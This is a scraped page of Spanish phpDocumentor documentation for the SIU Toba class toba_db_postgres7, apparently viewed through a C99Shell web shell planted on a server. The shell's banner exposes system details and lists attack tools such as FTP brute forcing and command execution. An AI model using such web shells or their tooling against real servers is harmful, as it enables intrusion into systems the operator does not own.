!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/proyectos/toba_editor/www/doc/api/Fuentes/Drivers/   drwxr-xr-x
Free 14.48 GB of 61.93 GB (23.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     toba_db_postgres7.html (111.58 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Docs For Class toba_db_postgres7
phpDocumentor
[ árbol de herencia: Fuentes ] [ índice: Fuentes ] [ índice general ]

toba_db_postgres7

toba_db
   |
   --toba_db_postgres7

Ubicada en /lib/db/toba_db_postgres7.php [line 7]


Métodos Heredados

Heredado de toba_db

__construct()
abortar_transaccion()
abrir_transaccion()
activar_registro_consulta()
Activa/desactiva el resgistro de los comandos de consulta.
activar_registro_ejecucion()
cerrar_transaccion()
conectar()
Crea una conexion a la base
consultar()
Ejecuta una consulta sql
consultar_fila()
Ejecuta una consulta sql y retorna la primer fila del resultado.
cortar_sql()
crear_lenguaje_procedural()
Crea el lenguaje plpgsql unicamente si el mismo aun no existe para la base de datos.
destruir()
ejecutar()
Ejecuta un comando sql o un conjunto de ellos
ejecutar_archivo()
Ejecuta los comandos disponibles en un archivo
ejecutar_transaccion()
es_campo_candidato_descripcion()
exportar_registro()
get_definicion_columnas()
get_dsn()
Retorna el dsn necesario para conectar con PDO
get_error_toba()
Mapea el error de la base al modulo de mensajes del toba
get_info_debug()
Retorna un arreglo con informacion de las distintas consultas/comandos ejecutados
get_manejador_auditoria()
Devuelve una instancia del manejador de auditoria para este motor de base de datos
get_opciones_sql_campo_externo()
Determina la sql,clave y desc de un campo externo de una tabla
get_parametros()
get_pdo()
Retorna una referencia al objeto PDO interno
get_semantica_valor_defecto()
Devuelve el valor que es considerado por el motor para asignar el valor Default en la base.
get_sql_carga_descripciones()
Dada una tabla retorna la SQL que relaciona las claves con las descripciones
get_sql_carga_tabla()
get_tipo_datos_generico()
Mapea un tipo de datos especifico de un motor a uno generico de toba
hay_datos()
quote()
recuperar_secuencia()
Retorna el valor de un campo SERIAL
retrazar_constraints()
sentencia()
Crea una PDO_STATEMENT y lo ejecuta.
sentencia_agregar_binarios()
Agrega datos binarios a una sentencia SQL preparada con 'preparar_sentencia'
sentencia_cantidad_afectados()
Retorna las filas afectadas por una sentencia
sentencia_consultar()
Ejecuta una sentencia SQL preparada con 'preparar_sentencia'.
sentencia_consultar_fila()
Ejecuta una sentencia SQL preparada con 'preparar_sentencia' y retorna la primer fila del resultado
sentencia_datos()
Retorna un formato recordset a partir de una sentencia ejecutada
sentencia_ejecutar()
Ejecuta una sentencia SQL preparada con 'preparar_sentencia'.
sentencia_eliminar()
Quita una SQL del arreglo de sentencias.
sentencia_preparar()
Prepara una sentencia para su ejecucion posterior.
set_modo_debug()
set_parser_errores()
ultimo_insert_id()

Métodos Propios
toba_db_postgres7   __construct()  
void   abortar_savepoint()  
void   abortar_transaccion()  
void   abrir_transaccion()  
void   agregar_savepoint()  
void   borrar_rol()  
void   borrar_schema()  
void   borrar_schema_si_existe()  
void   cerrar_transaccion()  
void   clonar_schema()   Clona el schema actual en $nuevo_schema. FUNCIONA EN POSTGRES >= 8.3
void   crear_lenguaje()  
void   crear_lenguaje_procedural()   Crea el lenguaje plpgsql unicamente si el mismo aun no existe para la base de datos.
void   crear_rol()  
void   crear_schema()  
void   crear_usuario()  
void   existe_columna()  
void   existe_lenguaje()  
void   existe_rol()  
void   existe_schema()  
void   existe_tabla()  
void   get_definicion_columnas()   Busca la definicion de un TABLA. Cachea los resultados por un pedido de pagina
void   get_dsn()  
void   get_lista_schemas_disponibles()  
void   get_lista_secuencias()  
void   get_lista_tablas()  
void   get_lista_tablas_bd()  
void   get_lista_tablas_y_vistas()  
object   get_manejador_auditoria()   Devuelve una instancia del manejador de auditoria para este motor de base de datos
void   get_parametros()  
void   get_rol_actual()  
void   get_schema()  
string   get_secuencia_tabla()   Devuelve el nombre de la columna que es una secuencia en la tabla $tabla del schema $schema.
void   get_secuencia_tablas()  
void   get_semantica_valor_defecto()  
void   get_sp_schema()  
array   get_triggers_schema()   Devuelve una lista de los triggers en el esquema, segun estado, nombre y tablas.
void   get_usuario_actual()  
void   grant_rol()  
void   grant_schema()  
void   grant_sp_schema()  
void   grant_tablas()   Da permisos especificos a todas las tablas de un esquema dado
void   grant_tablas_schema()   Da permisos especificos a todas las tablas de un esquema dado
boolean   insert_masivo()   Insert de datos desde un arreglo hacia una tabla. Requiere la extension original pgsql.
void   liberar_savepoint()  
void   listar_roles()  
array   pgdump_get_tabla()   Devuelve una tabla del sistema como un arreglo de INSERTS obtenida a partir
void   pgdump_limpiar()  
void   recuperar_nuevo_valor_secuencia()  
string   recuperar_secuencia()   Recupera el valor actual de una secuencia
void   renombrar_schema()  
void   retrazar_constraints()  
void   revoke_rol()  
void   revoke_schema()  
void   revoke_sp_schema()  
void   revoke_tablas()  
void   set_datestyle_iso()  
void   set_encoding()  
void   set_rol()  
void   set_schema()  
boolean   transaccion_abierta()  

Constructor __construct  [línea 14]

  toba_db_postgres7 __construct( $profile, $usuario, $clave, $base, $puerto  )

Parámetros:
   $profile: 
   $usuario: 
   $clave: 
   $base: 
   $puerto: 

Redefinición de:
toba_db::__construct()

abortar_savepoint  [línea 153]

  void abortar_savepoint( $nombre  )

Parámetros:
   $nombre: 


abortar_transaccion  [línea 122]

  void abortar_transaccion( )


Redefinición de:
toba_db::abortar_transaccion()

abrir_transaccion  [línea 114]

  void abrir_transaccion( )


Redefinición de:
toba_db::abrir_transaccion()

agregar_savepoint  [línea 146]

  void agregar_savepoint( $nombre  )

Parámetros:
   $nombre: 


borrar_rol  [línea 378]

  void borrar_rol( $rol, [ $ejecutar = true]  )

Parámetros:
   $rol: 
   $ejecutar: 


borrar_schema  [línea 215]

  void borrar_schema( $schema, [ $ejecutar = true]  )

Parámetros:
   $schema: 
   $ejecutar: 


borrar_schema_si_existe  [línea 222]

  void borrar_schema_si_existe( $schema  )

Parámetros:
   $schema: 


cerrar_transaccion  [línea 130]

  void cerrar_transaccion( )


Redefinición de:
toba_db::cerrar_transaccion()

clonar_schema  [línea 274]

  void clonar_schema( string $actual, string $nuevo  )

Clona el schema actual en $nuevo_schema. FUNCIONA EN POSTGRES >= 8.3
Parámetros:
string   $actual:  el nombre del schema a clonar
string   $nuevo:  el nombre del nuevo schema

Access:  public


crear_lenguaje  [línea 263]

  void crear_lenguaje( $lang  )

Parámetros:
   $lang: 


crear_lenguaje_procedural  [línea 72]

  void crear_lenguaje_procedural( )

Crea el lenguaje plpgsql unicamente si el mismo aun no existe para la base de datos.

Redefinición de:
toba_db::crear_lenguaje_procedural()
Crea el lenguaje plpgsql unicamente si el mismo aun no existe para la base de datos.

crear_rol  [línea 363]

  void crear_rol( $rol, [ $ejecutar = true]  )

Parámetros:
   $rol: 
   $ejecutar: 


crear_schema  [línea 229]

  void crear_schema( $schema, [ $ejecutar = true]  )

Parámetros:
   $schema: 
   $ejecutar: 


crear_usuario  [línea 370]

  void crear_usuario( $rol, $password, [ $ejecutar = true]  )

Parámetros:
   $rol: 
   $password: 
   $ejecutar: 


existe_columna  [línea 585]

  void existe_columna( $columna, $tabla  )

Parámetros:
   $columna: 
   $tabla: 


existe_lenguaje  [línea 255]

  void existe_lenguaje( $lang  )

Parámetros:
   $lang: 


existe_rol  [línea 347]

  void existe_rol( $rol  )

Parámetros:
   $rol: 


existe_schema  [línea 202]

  void existe_schema( $esquema  )

Parámetros:
   $esquema: 


existe_tabla  [línea 567]

  void existe_tabla( $schema, $tabla  )

Parámetros:
   $schema: 
   $tabla: 


get_definicion_columnas  [línea 642]

  void get_definicion_columnas( $tabla, [ $esquema = null]  )

Busca la definicion de un TABLA. Cachea los resultados por un pedido de pagina
Parámetros:
   $tabla: 
   $esquema: 

Redefinición de:
toba_db::get_definicion_columnas()

get_dsn  [línea 21]

  void get_dsn( )


Redefinición de:
toba_db::get_dsn()
Retorna el dsn necesario para conectar con PDO

get_lista_schemas_disponibles  [línea 243]

  void get_lista_schemas_disponibles( )



get_lista_secuencias  [línea 609]

  void get_lista_secuencias( [ $esquema = null]  )

Parámetros:
   $esquema: 


get_lista_tablas  [línea 518]

  void get_lista_tablas( [ $incluir_vistas = false], [ $esquema = null]  )

Parámetros:
   $incluir_vistas: 
   $esquema: 


get_lista_tablas_bd  [línea 526]

  void get_lista_tablas_bd( [ $incluir_vistas = false], [ $esquema = null]  )

Parámetros:
   $incluir_vistas: 
   $esquema: 


get_lista_tablas_y_vistas  [línea 508]

  void get_lista_tablas_y_vistas( )



get_manejador_auditoria  [línea 906]

  object get_manejador_auditoria( [string $schema_modelo = 'public'], [string $schema_auditoria = 'public_auditoria'], [string $schema_toba = null]  )

Devuelve una instancia del manejador de auditoria para este motor de base de datos

ventana de extension en los hijos

Parámetros:
string   $schema_modelo: 
string   $schema_auditoria: 
string   $schema_toba: 

Redefinición de:
toba_db::get_manejador_auditoria()
Devuelve una instancia del manejador de auditoria para este motor de base de datos

get_parametros  [línea 27]

  void get_parametros( )


Redefinición de:
toba_db::get_parametros()

get_rol_actual  [línea 333]

  void get_rol_actual( )



get_schema  [línea 49]

  void get_schema( )



get_secuencia_tabla  [línea 777]

  string get_secuencia_tabla( $tabla, [ $schema = null]  )

Devuelve el nombre de la columna que es una secuencia en la tabla $tabla del schema $schema.

Si no se especifica el schema se utiliza el que tiene por defecto la base

Parámetros:
   $tabla: 
   $schema: 

Return:  nombre de la columna si la tabla tiene secuencia. Sino devuelve null


get_secuencia_tablas  [línea 788]

  void get_secuencia_tablas( $tablas, [ $schema = null]  )

Parámetros:
   $tablas: 
   $schema: 


get_semantica_valor_defecto  [línea 767]

  void get_semantica_valor_defecto( )


Redefinición de:
toba_db::get_semantica_valor_defecto()
Devuelve el valor que es considerado por el motor para asignar el valor Default en la base.

get_sp_schema  [línea 492]

  void get_sp_schema( $schema  )

Parámetros:
   $schema: 


get_triggers_schema  [línea 821]

  array get_triggers_schema( string $schema, [string $nombre = ''], [char $estado = 'O'], [array $tablas = array()]  )

Devuelve una lista de los triggers en el esquema, segun estado, nombre y tablas.
Parámetros:
string   $schema:  Nombre del schema
string   $nombre:  Comienzo del nombre de/los triggers
char   $estado:  Estado de disparo actual del trigger (O=Origen, D=Disable, A=Always, R=Replica)
array   $tablas:  Tablas involucradas con los triggers


get_usuario_actual  [línea 326]

  void get_usuario_actual( )



grant_rol  [línea 385]

  void grant_rol( $usuario, $rol, [ $ejecutar = true]  )

Parámetros:
   $usuario: 
   $rol: 
   $ejecutar: 


grant_schema  [línea 392]

  void grant_schema( $usuario, $schema, [ $permisos = 'USAGE'], [ $ejecutar = true]  )

Parámetros:
   $usuario: 
   $schema: 
   $permisos: 
   $ejecutar: 


grant_sp_schema  [línea 468]

  void grant_sp_schema( $usuario, $schema, [ $privilegios = 'ALL PRIVILEGES'], [ $ejecutar = true]  )

Parámetros:
   $usuario: 
   $schema: 
   $privilegios: 
   $ejecutar: 


grant_tablas  [línea 458]

  void grant_tablas( $usuario, $schema, $tablas, [ $privilegios = 'ALL PRIVILEGES'], [ $ejecutar = true]  )

Da permisos especificos a todas las tablas de un esquema dado
Parámetros:
   $usuario: 
   $schema: 
   $tablas: 
   $privilegios: 
   $ejecutar: 


grant_tablas_schema  [línea 442]

  void grant_tablas_schema( $usuario, $schema, [ $privilegios = 'ALL PRIVILEGES']  )

Da permisos especificos a todas las tablas de un esquema dado
Parámetros:
   $usuario: 
   $schema: 
   $privilegios: 


insert_masivo  [línea 175]

  boolean insert_masivo( string $tabla, array $datos, [string $delimitador = "\t"], [string $valor_nulo = "\\N"]  )

Insert de datos desde un arreglo hacia una tabla. Requiere la extension original pgsql.
Parámetros:
string   $tabla: 
array   $datos: 
string   $delimitador:  Separador de datos de cada fila.
string   $valor_nulo: 


liberar_savepoint  [línea 160]

  void liberar_savepoint( $nombre  )

Parámetros:
   $nombre: 


listar_roles  [línea 353]

  void listar_roles( [ $rol = null]  )

Parámetros:
   $rol: 


pgdump_get_tabla  [línea 863]

  array pgdump_get_tabla( string $bd, string $schema, string $tabla, string $host, string $usuario, [string $pass = null]  )

Devuelve una tabla del sistema como un arreglo de INSERTS obtenida a partir

del pg_dump de postgres

Parámetros:
string   $bd:  El nombre de la base
string   $schema:  El schema al que pertenece la tabla
string   $tabla:  La tabla a exportar
string   $host: 
string   $usuario: 
string   $pass: 


pgdump_limpiar  [línea 882]

  void pgdump_limpiar( &$array  )

Parámetros:
   &$array: 

Access:  protected


recuperar_nuevo_valor_secuencia  [línea 98]

  void recuperar_nuevo_valor_secuencia( $secuencia, [ $ejecutar = true]  )

Parámetros:
   $secuencia: 
   $ejecutar: 


recuperar_secuencia  [línea 90]

  string recuperar_secuencia( string $secuencia, [ $ejecutar = true]  )

Recupera el valor actual de una secuencia
Parámetros:
string   $secuencia:  Nombre de la secuencia
   $ejecutar: 

Return:  Siguiente numero de la secuencia

Redefinición de:
toba_db::recuperar_secuencia()
Retorna el valor de un campo SERIAL

renombrar_schema  [línea 236]

  void renombrar_schema( $actual, $nuevo, [ $ejecutar = true]  )

Parámetros:
   $actual: 
   $nuevo: 
   $ejecutar: 


retrazar_constraints  [línea 106]

  void retrazar_constraints( [ $retrazar = true]  )

Parámetros:
   $retrazar: 

Redefinición de:
toba_db::retrazar_constraints()

revoke_rol  [línea 432]

  void revoke_rol( $usuario, $rol, [ $ejecutar = true]  )

Parámetros:
   $usuario: 
   $rol: 
   $ejecutar: 


revoke_schema  [línea 399]

  void revoke_schema( $usuario, $schema, [ $permisos = 'ALL PRIVILEGES'], [ $ejecutar = true]  )

Parámetros:
   $usuario: 
   $schema: 
   $permisos: 
   $ejecutar: 


revoke_sp_schema  [línea 480]

  void revoke_sp_schema( $usuario, $schema, [ $privilegios = 'ALL PRIVILEGES'], [ $ejecutar = true]  )

Parámetros:
   $usuario: 
   $schema: 
   $privilegios: 
   $ejecutar: 


revoke_tablas  [línea 420]

  void revoke_tablas( $usuario, $schema, $tablas, [ $permisos = 'ALL PRIVILEGES'], [ $ejecutar = true]  )

Parámetros:
   $usuario: 
   $schema: 
   $tablas: 
   $permisos: 
   $ejecutar: 


set_datestyle_iso  [línea 63]

  void set_datestyle_iso( )



set_encoding  [línea 56]

  void set_encoding( $encoding, [ $ejecutar = true]  )

Parámetros:
   $encoding: 
   $ejecutar: 


set_rol  [línea 340]

  void set_rol( $rol, [ $ejecutar = true]  )

Parámetros:
   $rol: 
   $ejecutar: 


set_schema  [línea 38]

  void set_schema( string $schema, [boolean $ejecutar = true], [ $fallback_en_public = false]  )

Parámetros:
string   $schema: 
boolean   $ejecutar: 
   $fallback_en_public: 


transaccion_abierta  [línea 141]

  boolean transaccion_abierta( )





Desarrollado por SIU.
Documentación generada con phpDocumentor 1.4.3

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.5663 ]--